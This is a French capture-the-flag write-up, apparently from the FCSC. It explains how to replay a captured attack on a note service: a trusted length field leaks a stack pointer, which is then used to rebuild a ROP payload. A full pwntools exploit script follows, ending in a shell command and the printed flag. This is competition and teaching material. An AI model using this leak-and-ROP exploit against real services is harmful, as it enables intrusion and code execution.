Le principe est de rejouer une attaque réussie (flag out), en récupérant le code depuis Shovel (bouton ‘generate script’). Il faut l’adapter, car les offsets de la pile changent constamment (binaire RELRO). L’attaque est comme suit :
- créer une note en envoyant moins de données que la taille que l’on déclare pour cette note (le programme fait confiance)
- les données stockées en memoire après les données envoyées seront stockées dans la note.
- en redemandant cette note on récupère ces données qui permettent d’avoir l’adresse actuelle de la pile
- la distance entre les pointeurs vers la pile utilisées par l’exploit et les pointeurs récupérées dans la mémoire est constante
- on peut mettre à jour les pointeurs à utiliser dans l’exploit (changer deux offsets à la fin)
PS: on remarque des offset fixes vers des adresses du programme dans l’exploit et pas de shellcode, c’est surement du ROP.
#!/usr/bin/env python3
import json
import os
import re
from pwn import *
#context.log_level = "DEBUG" # usefull to debug leaks
delta1=0x7f6578f181ca-0x7f6579087031 # valid pointers from working exploit #2 (leaked-ptr1)
delta2=0x7f6578f181ca-0x7f6578f3d3a0 # valid pointers from working exploit #2 (leaked-ptr2)
r = remote("127.0.0.1", 4000, typ="tcp", timeout=2)
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
session=re.search('/fcsc/(\[a-zA-Z0-9\]+)/',data.decode('ascii')).group(1)
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
filename=re.search('Creating note: (\[a-zA-Z0-9\]+)',data.decode('ascii')).group(1)
r.sendline(b'176')
data = r.recvuntil(b'Content: \n')
r.sendline(b'AAAAAAAA')
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
r.sendline(b'2')
data = r.recvuntil(b't filename:\n>>> ')
r.sendline(session.encode('ascii')+b'/'+filename.encode('ascii'))
data = r.recvuntil(b'ote\n0. Exit\n>>> ')
# parse leak
start=14+81\*10+37
leak=data\[start:start+23\]
leak=leak.decode('ascii').replace(' ','')
leak=unhex(leak)
leak=unpack(leak,'all')
print('leak : '+hex(leak))
r.sendline(b'1')
data = r.recvuntil(b'ontent length: \n')
r.sendline(b'152')
data = r.recvuntil(b'Content: \n')
# build exploit from leak
sc =b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\[\x13@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00^\x13@\x00\x00\x00\x00\x00'
sc+=p64(leak-delta1)+p64(leak-delta2)
r.sendline(sc)
#r.sendline('cat /app/note-a-bug|base64')
r.sendline(b'cat /fcsc/ChbbgHyPqJDQy5UaJve6uUGMDQHXWtc/\*') # chemin donnée dans l'énoncé
# returns FCSC_d2b162881ab7487bcb1b46fb9af5d83b8d9da56b871779c0c0dc65c56cf9caf3
r.interactive()